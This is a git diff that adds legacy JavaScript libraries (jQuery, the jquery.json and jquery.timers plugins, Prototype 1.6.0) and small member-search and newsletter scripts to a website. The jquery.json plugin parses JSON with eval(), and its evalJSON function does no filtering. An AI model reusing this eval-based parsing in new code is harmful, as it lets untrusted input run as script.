+s.push(encodeURIComponent(j)+"="+encodeURIComponent(a[j]));return s.join("&").replace(/%20/g,"+");}});jQuery.fn.extend({show:function(speed,callback){return speed?this.animate({height:"show",width:"show",opacity:"show"},speed,callback):this.filter(":hidden").each(function(){this.style.display=this.oldblock?this.oldblock:"";if(jQuery.css(this,"display")=="none")this.style.display="block";}).end();},hide:function(speed,callback){return speed?this.animate({height:"hide",width:"hide",opacity:"hide"},speed,callback):this.filter(":visible").each(function(){this.oldblock=this.oldblock||jQuery.css(this,"display");if(this.oldblock=="none")this.oldblock="block";this.style.display="none";}).end();},_toggle:jQuery.fn.toggle,toggle:function(fn,fn2){return jQuery.isFunction(fn)&&jQuery.isFunction(fn2)?this._toggle(fn,fn2):fn?this.animate({height:"toggle",width:"toggle",opacity:"toggle"},fn,fn2):this.each(function(){jQuery(this)[jQuery(this).is(":hidden")?"show":"hide"]();});},slideDown:function(speed,callback){return this.animate({height:"show"},speed,callback);},slideUp:function(speed,callback){return this.animate({height:"hide"},speed,callback);},slideToggle:function(speed,callback){return this.animate({height:"toggle"},speed,callback);},fadeIn:function(speed,callback){return this.animate({opacity:"show"},speed,callback);},fadeOut:function(speed,callback){return this.animate({opacity:"hide"},speed,callback);},fadeTo:function(speed,to,callback){return this.animate({opacity:to},speed,callback);},animate:function(prop,speed,easing,callback){var opt=jQuery.speed(speed,easing,callback);return this[opt.queue===false?"each":"queue"](function(){opt=jQuery.extend({},opt);var hidden=jQuery(this).is(":hidden"),self=this;for(var p in prop){if(prop[p]=="hide"&&hidden||prop[p]=="show"&&!hidden)return jQuery.isFunction(opt.complete)&&opt.complete.apply(this);if(p=="height"||p=="width"){opt.display=jQuery.css(this,"display");opt.overflow=this.style.overflow;}}if(opt.overflow!=null)this.style.overflow="hidden";opt.curAnim=jQuery.extend({},prop);jQuery.each(prop,function(name,val){var e=new jQuery.fx(self,opt,name);if(/toggle|show|hide/.test(val))e[val=="toggle"?hidden?"show":"hide":val](prop);else{var parts=val.toString().match(/^([+-]=)?([\d+-.]+)(.*)$/),start=e.cur(true)||0;if(parts){var end=parseFloat(parts[2]),unit=parts[3]||"px";if(unit!="px"){self.style[name]=(end||1)+unit;start=((end||1)/e.cur(true))*start;self.style[name]=start+unit;}if(parts[1])end=((parts[1]=="-="?-1:1)*end)+start;e.custom(start,end,unit);}else
+e.custom(start,val,"");}});return true;});},queue:function(type,fn){if(jQuery.isFunction(type)){fn=type;type="fx";}if(!type||(typeof type=="string"&&!fn))return queue(this[0],type);return this.each(function(){if(fn.constructor==Array)queue(this,type,fn);else{queue(this,type).push(fn);if(queue(this,type).length==1)fn.apply(this);}});},stop:function(){var timers=jQuery.timers;return this.each(function(){for(var i=0;i<timers.length;i++)if(timers[i].elem==this)timers.splice(i--,1);}).dequeue();}});var queue=function(elem,type,array){if(!elem)return;var q=jQuery.data(elem,type+"queue");if(!q||array)q=jQuery.data(elem,type+"queue",array?jQuery.makeArray(array):[]);return q;};jQuery.fn.dequeue=function(type){type=type||"fx";return this.each(function(){var q=queue(this,type);q.shift();if(q.length)q[0].apply(this);});};jQuery.extend({speed:function(speed,easing,fn){var opt=speed&&speed.constructor==Object?speed:{complete:fn||!fn&&easing||jQuery.isFunction(speed)&&speed,duration:speed,easing:fn&&easing||easing&&easing.constructor!=Function&&easing};opt.duration=(opt.duration&&opt.duration.constructor==Number?opt.duration:{slow:600,fast:200}[opt.duration])||400;opt.old=opt.complete;opt.complete=function(){jQuery(this).dequeue();if(jQuery.isFunction(opt.old))opt.old.apply(this);};return opt;},easing:{linear:function(p,n,firstNum,diff){return firstNum+diff*p;},swing:function(p,n,firstNum,diff){return((-Math.cos(p*Math.PI)/2)+0.5)*diff+firstNum;}},timers:[],fx:function(elem,options,prop){this.options=options;this.elem=elem;this.prop=prop;if(!options.orig)options.orig={};}});jQuery.fx.prototype={update:function(){if(this.options.step)this.options.step.apply(this.elem,[this.now,this]);(jQuery.fx.step[this.prop]||jQuery.fx.step._default)(this);if(this.prop=="height"||this.prop=="width")this.elem.style.display="block";},cur:function(force){if(this.elem[this.prop]!=null&&this.elem.style[this.prop]==null)return this.elem[this.prop];var r=parseFloat(jQuery.curCSS(this.elem,this.prop,force));return r&&r>-10000?r:parseFloat(jQuery.css(this.elem,this.prop))||0;},custom:function(from,to,unit){this.startTime=(new Date()).getTime();this.start=from;this.end=to;this.unit=unit||this.unit||"px";this.now=this.start;this.pos=this.state=0;this.update();var self=this;function t(){return self.step();}t.elem=this.elem;jQuery.timers.push(t);if(jQuery.timers.length==1){var timer=setInterval(function(){var timers=jQuery.timers;for(var i=0;i<timers.length;i++)if(!timers[i]())timers.splice(i--,1);if(!timers.length)clearInterval(timer);},13);}},show:function(){this.options.orig[this.prop]=jQuery.attr(this.elem.style,this.prop);this.options.show=true;this.custom(0,this.cur());if(this.prop=="width"||this.prop=="height")this.elem.style[this.prop]="1px";jQuery(this.elem).show();},hide:function(){this.options.orig[this.prop]=jQuery.attr(this.elem.style,this.prop);this.options.hide=true;this.custom(this.cur(),0);},step:function(){var t=(new Date()).getTime();if(t>this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;var done=true;for(var i in this.options.curAnim)if(this.options.curAnim[i]!==true)done=false;if(done){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;this.elem.style.display=this.options.display;if(jQuery.css(this.elem,"display")=="none")this.elem.style.display="block";}if(this.options.hide)this.elem.style.display="none";if(this.options.hide||this.options.show)for(var p in this.options.curAnim)jQuery.attr(this.elem.style,p,this.options.orig[p]);}if(done&&jQuery.isFunction(this.options.complete))this.options.complete.apply(this.elem);return false;}else{var n=t-this.startTime;this.state=n/this.options.duration;this.pos=jQuery.easing[this.options.easing||(jQuery.easing.swing?"swing":"linear")](this.state,n,0,1,this.options.duration);this.now=this.start+((this.end-this.start)*this.pos);this.update();}return true;}};jQuery.fx.step={scrollLeft:function(fx){fx.elem.scrollLeft=fx.now;},scrollTop:function(fx){fx.elem.scrollTop=fx.now;},opacity:function(fx){jQuery.attr(fx.elem.style,"opacity",fx.now);},_default:function(fx){fx.elem.style[fx.prop]=fx.now+fx.unit;}};jQuery.fn.offset=function(){var left=0,top=0,elem=this[0],results;if(elem)with(jQuery.browser){var absolute=jQuery.css(elem,"position")=="absolute",parent=elem.parentNode,offsetParent=elem.offsetParent,doc=elem.ownerDocument,safari2=safari&&parseInt(version)<522;if(elem.getBoundingClientRect){box=elem.getBoundingClientRect();add(box.left+Math.max(doc.documentElement.scrollLeft,doc.body.scrollLeft),box.top+Math.max(doc.documentElement.scrollTop,doc.body.scrollTop));if(msie){var border=jQuery("html").css("borderWidth");border=(border=="medium"||jQuery.boxModel&&parseInt(version)>=7)&&2||border;add(-border,-border);}}else{add(elem.offsetLeft,elem.offsetTop);while(offsetParent){add(offsetParent.offsetLeft,offsetParent.offsetTop);if(mozilla&&/^t[d|h]$/i.test(parent.tagName)||!safari2)border(offsetParent);if(safari2&&!absolute&&jQuery.css(offsetParent,"position")=="absolute")absolute=true;offsetParent=offsetParent.offsetParent;}while(parent.tagName&&!/^body|html$/i.test(parent.tagName)){if(!/^inline|table-row.*$/i.test(jQuery.css(parent,"display")))add(-parent.scrollLeft,-parent.scrollTop);if(mozilla&&jQuery.css(parent,"overflow")!="visible")border(parent);parent=parent.parentNode;}if(safari2&&absolute)add(-doc.body.offsetLeft,-doc.body.offsetTop);}results={top:top,left:left};}return results;function border(elem){add(jQuery.css(elem,"borderLeftWidth"),jQuery.css(elem,"borderTopWidth"));}function add(l,t){left+=parseInt(l)||0;top+=parseInt(t)||0;}};})();
\ No newline at end of file
diff --git a/libjs/jquery.json-1.2.min.js b/libjs/jquery.json-1.2.min.js
new file mode 100755 (executable)
index 0000000..52a6bb2
--- /dev/null
@@ -0,0 +1,41 @@
+(function($){function toIntegersAtLease(n)
+{return n<10?'0'+n:n;}
+Date.prototype.toJSON=function(date)
+{return this.getUTCFullYear()+'-'+
+toIntegersAtLease(this.getUTCMonth())+'-'+
+toIntegersAtLease(this.getUTCDate());};var escapeable=/["\\\x00-\x1f\x7f-\x9f]/g;var meta={'\b':'\\b','\t':'\\t','\n':'\\n','\f':'\\f','\r':'\\r','"':'\\"','\\':'\\\\'}
+$.quoteString=function(string)
+{if(escapeable.test(string))
+{return'"'+string.replace(escapeable,function(a)
+{var c=meta[a];if(typeof c==='string'){return c;}
+c=a.charCodeAt();return'\\u00'+Math.floor(c/16).toString(16)+(c%16).toString(16);})+'"'}
+return'"'+string+'"';}
+$.toJSON=function(o,compact)
+{var type=typeof(o);if(type=="undefined")
+return"undefined";else if(type=="number"||type=="boolean")
+return o+"";else if(o===null)
+return"null";if(type=="string")
+{return $.quoteString(o);}
+if(type=="object"&&typeof o.toJSON=="function")
+return o.toJSON(compact);if(type!="function"&&typeof(o.length)=="number")
+{var ret=[];for(var i=0;i<o.length;i++){ret.push($.toJSON(o[i],compact));}
+if(compact)
+return"["+ret.join(",")+"]";else
+return"["+ret.join(", ")+"]";}
+if(type=="function"){throw new TypeError("Unable to convert object of type 'function' to json.");}
+ret=[];for(var k in o){var name;var type=typeof(k);if(type=="number")
+name='"'+k+'"';else if(type=="string")
+name=$.quoteString(k);else
+continue;val=$.toJSON(o[k],compact);if(typeof(val)!="string"){continue;}
+if(compact)
+ret.push(name+":"+val);else
+ret.push(name+": "+val);}
+return"{"+ret.join(", ")+"}";}
+$.compactJSON=function(o)
+{return $.toJSON(o,true);}
+$.evalJSON=function(src)
+{return eval("("+src+")");}
+$.secureEvalJSON=function(src)
+{var filtered=src;filtered=filtered.replace(/\\["\\\/bfnrtu]/g,'@');filtered=filtered.replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,']');filtered=filtered.replace(/(?:^|:|,)(?:\s*\[)+/g,'');if(/^[\],:{}\s]*$/.test(filtered))
+return eval("("+src+")");else
+throw new SyntaxError("Error parsing JSON, source is not valid.");}})(jQuery);
\ No newline at end of file
diff --git a/libjs/jquery.timers.js b/libjs/jquery.timers.js
new file mode 100644 (file)
index 0000000..406de7e
--- /dev/null
@@ -0,0 +1,142 @@
+jQuery.fn.extend({
+       everyTime: function(interval, label, fn, times, belay) {
+               return this.each(function() {
+                       jQuery.timer.add(this, interval, label, fn, times, belay);
+               });
+       },
+       oneTime: function(interval, label, fn) {
+               return this.each(function() {
+                       jQuery.timer.add(this, interval, label, fn, 1);
+               });
+       },
+       stopTime: function(label, fn) {
+               return this.each(function() {
+                       jQuery.timer.remove(this, label, fn);
+               });
+       }
+});
+
+jQuery.extend({
+       timer: {
+               guid: 1,
+               global: {},
+               regex: /^([0-9]+)\s*(.*s)?$/,
+               powers: {
+                       // Yeah this is major overkill...
+                       'ms': 1,
+                       'cs': 10,
+                       'ds': 100,
+                       's': 1000,
+                       'das': 10000,
+                       'hs': 100000,
+                       'ks': 1000000
+               },
+               timeParse: function(value) {
+                       if (value == undefined || value == null)
+                               return null;
+                       var result = this.regex.exec(jQuery.trim(value.toString()));
+                       if (result[2]) {
+                               var num = parseInt(result[1], 10);
+                               var mult = this.powers[result[2]] || 1;
+                               return num * mult;
+                       } else {
+                               return value;
+                       }
+               },
+               add: function(element, interval, label, fn, times, belay) {
+                       var counter = 0;
+                       
+                       if (jQuery.isFunction(label)) {
+                               if (!times) 
+                                       times = fn;
+                               fn = label;
+                               label = interval;
+                       }
+                       
+                       interval = jQuery.timer.timeParse(interval);
+
+                       if (typeof interval != 'number' || isNaN(interval) || interval <= 0)
+                               return;
+
+                       if (times && times.constructor != Number) {
+                               belay = !!times;
+                               times = 0;
+                       }
+                       
+                       times = times || 0;
+                       belay = belay || false;
+                       
+                       if (!element.$timers) 
+                               element.$timers = {};
+                       
+                       if (!element.$timers[label])
+                               element.$timers[label] = {};
+                       
+                       fn.$timerID = fn.$timerID || this.guid++;
+                       
+                       var handler = function() {
+                               if (belay && this.inProgress) 
+                                       return;
+                               this.inProgress = true;
+                               if ((++counter > times && times !== 0) || fn.call(element, counter) === false)
+                                       jQuery.timer.remove(element, label, fn);
+                               this.inProgress = false;
+                       };
+                       
+                       handler.$timerID = fn.$timerID;
+                       
+                       if (!element.$timers[label][fn.$timerID]) 
+                               element.$timers[label][fn.$timerID] = window.setInterval(handler,interval);
+                       
+                       if ( !this.global[label] )
+                               this.global[label] = [];
+                       this.global[label].push( element );
+                       
+               },
+               remove: function(element, label, fn) {
+                       var timers = element.$timers, ret;
+                       
+                       if ( timers ) {
+                               
+                               if (!label) {
+                                       for ( label in timers )
+                                               this.remove(element, label, fn);
+                               } else if ( timers[label] ) {
+                                       if ( fn ) {
+                                               if ( fn.$timerID ) {
+                                                       window.clearInterval(timers[label][fn.$timerID]);
+                                                       delete timers[label][fn.$timerID];
+                                               }
+                                       } else {
+                                               for ( var fn in timers[label] ) {
+                                                       window.clearInterval(timers[label][fn]);
+                                                       delete timers[label][fn];
+                                               }
+                                       }
+                                       
+                                       for ( ret in timers[label] ) break;
+                                       if ( !ret ) {
+                                               ret = null;
+                                               delete timers[label];
+                                       }
+                               }
+                               
+                               for ( ret in timers ) break;
+                               if ( !ret ) 
+                                       element.$timers = null;
+                       }
+               }
+       }
+});
+
+if (jQuery.browser.msie)
+       jQuery(window).one("unload", function() {
+               var global = jQuery.timer.global;
+               for ( var label in global ) {
+                       var els = global[label], i = els.length;
+                       while ( --i )
+                               jQuery.timer.remove(els[i], label);
+               }
+       });
+
+
diff --git a/libjs/member-list-categories.js b/libjs/member-list-categories.js
new file mode 100644 (file)
index 0000000..5844909
--- /dev/null
@@ -0,0 +1,29 @@
+var ListCategories =
+{
+       listId: 'mRow1',
+       treeId: 'treeDiv1',
+       list: null,
+       trunk: null,
+       options: [],
+
+       init: function()
+       {
+               $$('option').each(function(o) {
+                       ListCategories.options.push(o.innerHTML);
+               });
+
+               ListCategories.list = $(ListCategories.listId);
+               ListCategories.trunk = new YAHOO.widget.TreeView(ListCategories.listId)
+//             ListCategories.buildCategoriesTree();
+               ListCategories.list.innerHTML = '';
+               ListCategories.list.insert({top: '<div id="'+ListCategories.treeId+'" style="display: none;"></div>'});
+//             ListCategories.trunk.draw();
+//             $(ListCategories.treeId).toggle();
+       },
+
+       buildCategoriesTree: function()
+       {
+       }
+};
+
+Event.observe(window, 'load', ListCategories.init);
diff --git a/libjs/member-list.js b/libjs/member-list.js
new file mode 100644 (file)
index 0000000..05d4697
--- /dev/null
@@ -0,0 +1,61 @@
+var MemberList =
+{
+       baseUrl: null,
+       init: function()
+       {
+               $$('.remove').each(function(a) {
+                       a.observe('click', MemberList.remove);
+                       a.observe('mouseover', MemberList.click);
+                       a.observe('mouseout', MemberList.release);
+               });
+
+               $$('.searchResult').each(function(r) {
+                       r.observe('mouseover', MemberList.mouseOn);
+                       r.observe('mouseout', MemberList.mouseOff);
+                       r.observe('click', MemberList.goToMember);
+               });
+
+               MemberList.baseUrl = location.protocol + '//' + location.hostname + '/';
+
+               var url = location.pathname;
+               if (location.hostname == 'devsys2.gaslightmedia.com') {
+                       var urlParts = url.split('/');
+                       MemberList.baseUrl += urlParts[1] + '/';
+               }
+       },
+
+       mouseOn: function(event)
+       {
+               this.addClassName('searchResultOn');
+       },
+
+       mouseOff: function(event)
+       {
+               this.removeClassName('searchResultOn');
+       },
+
+       goToMember: function(event)
+       {
+               document.location.href = this.select('h3 a');
+               return false;
+       },
+
+       remove: function(event)
+       {
+               if (!confirm('Are you sure you wish to remove this business?\nThis is not reversible!')) {
+                       event.stop();
+               }
+       },
+
+       click: function(event)
+       {
+               this.down().writeAttribute('src', MemberList.baseUrl + 'assets/remove_clicked.png');
+       },
+
+       release: function(event)
+       {
+               this.down().writeAttribute('src', MemberList.baseUrl + 'assets/remove.png');
+       }
+};
+
+Event.observe(window, 'load', MemberList.init);
diff --git a/libjs/member-search.js b/libjs/member-search.js
new file mode 100644 (file)
index 0000000..8219a5b
--- /dev/null
@@ -0,0 +1,38 @@
+var MemberSearch =
+{
+       forms: null,
+       showing: false,
+
+       init: function()
+       {
+               if (MemberSearch.forms == null) {
+                       MemberSearch.forms = $$('fieldset.form');
+                       MemberSearch.forms[1].toggle();
+                       MemberSearch.forms[0].select('tbody')[0].insert({bottom: '<tr><td colspan="2" id="advanced-search">Advanced Search</td></tr>'});
+
+                       $('advanced-search').observe('click', MemberSearch.toggleAdvancedSearch);
+               }
+               //      Find a member id in the search params, this will let us know we
+               //      are editing a member and then we don't want to focus on the
+               //      the first field.
+               var idRegExp = /.*(\?|&)id=\d+.*$/g;
+               if (!idRegExp.test(location.search)) {
+                       $('search_Form').focusFirstElement();
+               }
+       },
+
+       toggleAdvancedSearch: function(event)
+       {
+               if (MemberSearch.showing) {
+                       //new Effect.Fade(MemberSearch.forms[1]);
+                       new Effect.SlideUp(MemberSearch.forms[1]);
+                       MemberSearch.showing = false;
+               } else {
+                       //new Effect.Appear(MemberSearch.forms[1]);
+                       new Effect.SlideDown(MemberSearch.forms[1]);
+                       MemberSearch.showing = true;
+               }
+       }
+};
+
+document.observe('dom:loaded', MemberSearch.init);
diff --git a/libjs/newsletterSignup.js b/libjs/newsletterSignup.js
new file mode 100644 (file)
index 0000000..5ed248f
--- /dev/null
@@ -0,0 +1,49 @@
+var SignUp =
+{
+       originalText: null,
+       targetBox: null,
+       verifyBox: null,
+
+       init: function()
+       {
+               SignUp.targetBox = $('#email-f');
+               SignUp.verifyBox = $('#email-h');
+               SignUp.originalText = SignUp.targetBox.val();
+               SignUp.targetBox.parent().bind('submit', SignUp.submit);
+               SignUp.targetBox.bind('focus', SignUp.clear);
+               SignUp.targetBox.bind('blur', SignUp.reset);
+       },
+
+       clear: function(event)
+       {
+               //      Only clear the search string if the user
+               //      has not previously entered anything.
+               if (this.value == SignUp.originalText) {
+                       this.value = '';
+               }
+       },
+
+       reset: function(event)
+       {
+               //      Only reset the search string if there was
+               //      nothing entered into the search box.
+               if (!this.value) {
+                       this.value = SignUp.originalText;
+               }
+       },
+
+       submit: function(event)
+       {
+               var signUpEmpty = !SignUp.targetBox.val();
+               var signUpTextIsOrig = (SignUp.targetBox.val() == SignUp.originalText);
+               if (signUpEmpty || signUpTextIsOrig) {
+                       event.preventDefault();
+                       alert('Please enter your email address!');
+                       SignUp.targetBox.focus();
+               }
+
+               SignUp.verifyBox.val(SignUp.targetBox.val());
+       }
+};
+
+$(document).ready(SignUp.init);
diff --git a/libjs/prototype.js b/libjs/prototype.js
new file mode 100644 (file)
index 0000000..5c73462
--- /dev/null
@@ -0,0 +1,4184 @@
+/*  Prototype JavaScript framework, version 1.6.0
+ *  (c) 2005-2007 Sam Stephenson
+ *
+ *  Prototype is freely distributable under the terms of an MIT-style license.
+ *  For details, see the Prototype web site: http://www.prototypejs.org/
+ *
+ *--------------------------------------------------------------------------*/
+
+var Prototype = {
+  Version: '1.6.0',
+
+  Browser: {
+    IE:     !!(window.attachEvent && !window.opera),
+    Opera:  !!window.opera,
+    WebKit: navigator.userAgent.indexOf('AppleWebKit/') > -1,
+    Gecko:  navigator.userAgent.indexOf('Gecko') > -1 && navigator.userAgent.indexOf('KHTML') == -1,
+    MobileSafari: !!navigator.userAgent.match(/Apple.*Mobile.*Safari/)
+  },
+
+  BrowserFeatures: {
+    XPath: !!document.evaluate,
+    ElementExtensions: !!window.HTMLElement,
+    SpecificElementExtensions:
+      document.createElement('div').__proto__ &&
+      document.createElement('div').__proto__ !==
+        document.createElement('form').__proto__
+  },
+
+  ScriptFragment: '<script[^>]*>([\\S\\s]*?)<\/script>',
+  JSONFilter: /^\/\*-secure-([\s\S]*)\*\/\s*$/,
+
+  emptyFunction: function() { },
+  K: function(x) { return x }
+};
+
+if (Prototype.Browser.MobileSafari)
+  Prototype.BrowserFeatures.SpecificElementExtensions = false;
+
+if (Prototype.Browser.WebKit)
+  Prototype.BrowserFeatures.XPath = false;
+
+/* Based on Alex Arnell's inheritance implementation. */
+var Class = {
+  create: function() {
+    var parent = null, properties = $A(arguments);
+    if (Object.isFunction(properties[0]))
+      parent = properties.shift();
+
+    function klass() {
+      this.initialize.apply(this, arguments);
+    }
+
+    Object.extend(klass, Class.Methods);
+    klass.superclass = parent;
+    klass.subclasses = [];
+
+    if (parent) {
+      var subclass = function() { };
+      subclass.prototype = parent.prototype;
+      klass.prototype = new subclass;
+      parent.subclasses.push(klass);
+    }
+
+    for (var i = 0; i < properties.length; i++)
+      klass.addMethods(properties[i]);
+
+    if (!klass.prototype.initialize)
+      klass.prototype.initialize = Prototype.emptyFunction;
+
+    klass.prototype.constructor = klass;
+
+    return klass;
+  }
+};
+
+Class.Methods = {
+  addMethods: function(source) {
+    var ancestor   = this.superclass && this.superclass.prototype;
+    var properties = Object.keys(source);
+
+    if (!Object.keys({ toString: true }).length)
+      properties.push("toString", "valueOf");
+
+    for (var i = 0, length = properties.length; i < length; i++) {
+      var property = properties[i], value = source[property];
+      if (ancestor && Object.isFunction(value) &&
+          value.argumentNames().first() == "$super") {
+        var method = value, value = Object.extend((function(m) {
+          return function() { return ancestor[m].apply(this, arguments) };
+        })(property).wrap(method), {
+          valueOf:  function() { return method },
+          toString: function() { return method.toString() }
+        });
+      }
+      this.prototype[property] = value;
+    }
+
+    return this;
+  }
+};
+
+var Abstract = { };
+
+Object.extend = function(destination, source) {
+  for (var property in source)
+    destination[property] = source[property];
+  return destination;
+};
+
+Object.extend(Object, {
+  inspect: function(object) {
+    try {
+      if (object === undefined) return 'undefined';
+      if (object === null) return 'null';
+      return object.inspect ? object.inspect() : object.toString();
+    } catch (e) {
+      if (e instanceof RangeError) return '...';
+      throw e;
+    }
+  },
+
+  toJSON: function(object) {
+    var type = typeof object;
+    switch (type) {
+      case 'undefined':
+      case 'function':
+      case 'unknown': return;
+      case 'boolean': return object.toString();
+    }
+
+    if (object === null) return 'null';
+    if (object.toJSON) return object.toJSON();
+    if (Object.isElement(object)) return;
+
+    var results = [];
+    for (var property in object) {
+      var value = Object.toJSON(object[property]);
+      if (value !== undefined)
+        results.push(property.toJSON() + ': ' + value);
+    }
+
+    return '{' + results.join(', ') + '}';
+  },
+
+  toQueryString: function(object) {
+    return $H(object).toQueryString();
+  },
+
+  toHTML: function(object) {
+    return object && object.toHTML ? object.toHTML() : String.interpret(object);
+  },
+
+  keys: function(object) {
+    var keys = [];
+    for (var property in object)
+      keys.push(property);
+    return keys;
+  },
+
+  values: function(object) {
+    var values = [];
+    for (var property in object)
+      values.push(object[property]);
+    return values;
+  },
+
+  clone: function(object) {
+    return Object.extend({ }, object);
+  },
+
+  isElement: function(object) {
+    return object && object.nodeType == 1;
+  },
+
+  isArray: function(object) {
+    return object && object.constructor === Array;
+  },
+
+  isHash: function(object) {
+    return object instanceof Hash;
+  },
+
+  isFunction: function(object) {
+    return typeof object == "function";
+  },
+
+  isString: function(object) {
+    return typeof object == "string";
+  },
+
+  isNumber: function(object) {
+    return typeof object == "number";
+  },
+
+  isUndefined: function(object) {
+    return typeof object == "undefined";
+  }
+});
+
+Object.extend(Function.prototype, {
+  argumentNames: function() {
+    var names = this.toString().match(/^[\s\(]*function[^(]*\((.*?)\)/)[1].split(",").invoke("strip");
+    return names.length == 1 && !names[0] ? [] : names;
+  },
+
+  bind: function() {
+    if (arguments.length < 2 && arguments[0] === undefined) return this;
+    var __method = this, args = $A(arguments), object = args.shift();
+    return function() {
+      return __method.apply(object, args.concat($A(arguments)));
+    }
+  },
+
+  bindAsEventListener: function() {
+    var __method = this, args = $A(arguments), object = args.shift();
+    return function(event) {
+      return __method.apply(object, [event || window.event].concat(args));
+    }
+  },
+
+  curry: function() {
+    if (!arguments.length) return this;
+    var __method = this, args = $A(arguments);
+    return function() {
+      return __method.apply(this, args.concat($A(arguments)));
+    }
+  },
+
+  delay: function() {
+    var __method = this, args = $A(arguments), timeout = args.shift() * 1000;
+    return window.setTimeout(function() {
+      return __method.apply(__method, args);
+    }, timeout);
+  },
+
+  wrap: function(wrapper) {
+    var __method = this;
+    return function() {
+      return wrapper.apply(this, [__method.bind(this)].concat($A(arguments)));
+    }
+  },
+
+  methodize: function() {
+    if (this._methodized) return this._methodized;
+    var __method = this;
+    return this._methodized = function() {
+      return __method.apply(null, [this].concat($A(arguments)));
+    };
+  }
+});
+
+Function.prototype.defer = Function.prototype.delay.curry(0.01);
+
+Date.prototype.toJSON = function() {
+  return '"' + this.getUTCFullYear() + '-' +
+    (this.getUTCMonth() + 1).toPaddedString(2) + '-' +
+    this.getUTCDate().toPaddedString(2) + 'T' +
+    this.getUTCHours().toPaddedString(2) + ':' +
+    this.getUTCMinutes().toPaddedString(2) + ':' +
+    this.getUTCSeconds().toPaddedString(2) + 'Z"';
+};
+
+var Try = {
+  these: function() {
+    var returnValue;
+
+    for (var i = 0, length = arguments.length; i < length; i++) {
+      var lambda = arguments[i];
+      try {
+        returnValue = lambda();
+        break;
+      } catch (e) { }
+    }
+
+    return returnValue;
+  }
+};
+
+RegExp.prototype.match = RegExp.prototype.test;
+
+RegExp.escape = function(str) {
+  return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
+};
+
+/*--------------------------------------------------------------------------*/
+
+var PeriodicalExecuter = Class.create({
+  initialize: function(callback, frequency) {
+    this.callback = callback;
+    this.frequency = frequency;
+    this.currentlyExecuting = false;
+
+    this.registerCallback();
+  },
+
+  registerCallback: function() {
+    this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000);
+  },
+
+  execute: function() {
+    this.callback(this);
+  },
+
+  stop: function() {
+    if (!this.timer) return;
+    clearInterval(this.timer);
+    this.timer = null;
+  },
+
+  onTimerEvent: function() {
+    if (!this.currentlyExecuting) {
+      try {
+        this.currentlyExecuting = true;
+        this.execute();
+      } finally {
+        this.currentlyExecuting = false;
+      }
+    }
+  }
+});
+Object.extend(String, {
+  interpret: function(value) {
+    return value == null ? '' : String(value);
+  },
+  specialChar: {
+    '\b': '\\b',
+    '\t': '\\t',
+    '\n': '\\n',
+    '\f': '\\f',
+    '\r': '\\r',
+    '\\': '\\\\'
+  }
+});
+
+Object.extend(String.prototype, {
+  gsub: function(pattern, replacement) {
+    var result = '', source = this, match;
+    replacement = arguments.callee.prepareReplacement(replacement);
+
+    while (source.length > 0) {
+      if (match = source.match(pattern)) {
+        result += source.slice(0, match.index);
+        result += String.interpret(replacement(match));
+        source  = source.slice(match.index + match[0].length);
+      } else {
+        result += source, source = '';
+      }
+    }
+    return result;
+  },
+
+  sub: function(pattern, replacement, count) {
+    replacement = this.gsub.prepareReplacement(replacement);
+    count = count === undefined ? 1 : count;
+
+    return this.gsub(pattern, function(match) {
+      if (--count < 0) return match[0];
+      return replacement(match);
+    });
+  },
+
+  scan: function(pattern, iterator) {
+    this.gsub(pattern, iterator);
+    return String(this);
+  },
+
+  truncate: function(length, truncation) {
+    length = length || 30;
+    truncation = truncation === undefined ? '...' : truncation;
+    return this.length > length ?
+      this.slice(0, length - truncation.length) + truncation : String(this);
+  },
+
+  strip: function() {
+    return this.replace(/^\s+/, '').replace(/\s+$/, '');
+  },
+
+  stripTags: function() {
+    return this.replace(/<\/?[^>]+>/gi, '');
+  },
+
+  stripScripts: function() {
+    return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), '');
+  },
+
+  extractScripts: function() {
+    var matchAll = new RegExp(Prototype.ScriptFragment, 'img');
+    var matchOne = new RegExp(Prototype.ScriptFragment, 'im');
+    return (this.match(matchAll) || []).map(function(scriptTag) {
+      return (scriptTag.match(matchOne) || ['', ''])[1];
+    });
+  },
+
+  evalScripts: function() {
+    return this.extractScripts().map(function(script) { return eval(script) });
+  },
+
+  escapeHTML: function() {
+    var self = arguments.callee;
+    self.text.data = this;
+    return self.div.innerHTML;
+  },
+
+  unescapeHTML: function() {
+    var div = new Element('div');
+    div.innerHTML = this.stripTags();
+    return div.childNodes[0] ? (div.childNodes.length > 1 ?
+      $A(div.childNodes).inject('', function(memo, node) { return memo+node.nodeValue }) :
+      div.childNodes[0].nodeValue) : '';
+  },
+
+  toQueryParams: function(separator) {
+    var match = this.strip().match(/([^?#]*)(#.*)?$/);
+    if (!match) return { };
+
+    return match[1].split(separator || '&').inject({ }, function(hash, pair) {
+      if ((pair = pair.split('='))[0]) {
+        var key = decodeURIComponent(pair.shift());
+        var value = pair.length > 1 ? pair.join('=') : pair[0];
+        if (value != undefined) value = decodeURIComponent(value);
+
+        if (key in hash) {
+          if (!Object.isArray(hash[key])) hash[key] = [hash[key]];
+          hash[key].push(value);
+        }
+        else hash[key] = value;
+      }
+      return hash;
+    });
+  },
+
+  toArray: function() {
+    return this.split('');
+  },
+
+  succ: function() {
+    return this.slice(0, this.length - 1) +
+      String.fromCharCode(this.charCodeAt(this.length - 1) + 1);
+  },
+
+  times: function(count) {
+    return count < 1 ? '' : new Array(count + 1).join(this);
+  },
+
+  camelize: function() {
+    var parts = this.split('-'), len = parts.length;
+    if (len == 1) return parts[0];
+
+    var camelized = this.charAt(0) == '-'
+      ? parts[0].charAt(0).toUpperCase() + parts[0].substring(1)
+      : parts[0];
+
+    for (var i = 1; i < len; i++)
+      camelized += parts[i].charAt(0).toUpperCase() + parts[i].substring(1);
+
+    return camelized;
+  },
+
+  capitalize: function() {
+    return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase();
+  },
+
+  underscore: function() {
+    return this.gsub(/::/, '/').gsub(/([A-Z]+)([A-Z][a-z])/,'#{1}_#{2}').gsub(/([a-z\d])([A-Z])/,'#{1}_#{2}').gsub(/-/,'_').toLowerCase();
+  },
+
+  dasherize: function() {
+    return this.gsub(/_/,'-');
+  },
+
+  inspect: function(useDoubleQuotes) {
+    var escapedString = this.gsub(/[\x00-\x1f\\]/, function(match) {
